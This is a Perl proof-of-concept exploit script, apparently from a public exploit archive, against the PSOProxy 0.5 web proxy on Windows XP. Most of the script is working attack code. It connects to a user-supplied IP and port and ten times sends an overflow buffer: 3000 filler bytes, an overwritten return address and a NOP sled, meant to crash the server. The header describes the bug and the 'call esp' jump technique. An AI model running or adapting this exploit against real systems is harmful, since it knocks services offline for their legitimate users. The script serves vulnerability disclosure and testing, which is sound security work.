#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: PSOProxy 0.5 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 10 january 2024
# Vendor Homepage:  https://sourceforge.net/projects/psoproxy/files/psoproxy/0.5/
# Download to demo: https://drive.google.com/file/d/1GC2GWGOx9Z1vWT_mxnGXHuTptuHa7lIp/view?usp=sharing
# Download to demo 2: https://drive.google.com/file/d/1DHQ1sZL3mqlqFWn50eq7FLVtzX3E6qgC/view?usp=sharing
# Notification vendor: No reported
# Tested Version: PSOProxy 0.5
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://www.youtube.com/watch?v=0uuUqfpRbHM

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data to web server.
#The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }

    system("$cmd");
    
    intro();
    main();

print "\t    ==> Connecting to webserver... \n\n";
sleep(1);

my $i=0;
    print "\t    ==> Exploiting... \n\n";
while ($i <= 9) {
    my $sock = IO::Socket::INET->new(
        PeerAddr => $ip,
        PeerPort => $port,
        Proto    => 'tcp',
    ) or die "Cannot connect to $ip:$port: $!\n";

    my $buffer = "A" x 3000;
    my $shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" .
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
    
    $buffer .= "\x0F\x98\xF8\x77" . $shellcode;

    print $sock $buffer . "\r\n";
    close($sock);
    
    $i++;
}
	
print "\t    ==> Done! Exploited!";
   sub intro {
      print q {

	                            ,--,
	                     _ ___/ /\|
	                 ,;'( )__, )  ~
	                //  //   '--; 
	                '   \     | ^
	                     ^    ^

	    [+] PSOProxy 0.5 - Denial of Service (DoS)

	    [*] Coded by Fernando Mengali

	    [@] e-mail: fernando.mengalli@gmail.com

      }
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "\n\tUsage: $0 <ip> <port>                 \n";
        exit(-1);

      }
  }

#3. Solution/ How to fix:

# This version product is deprecated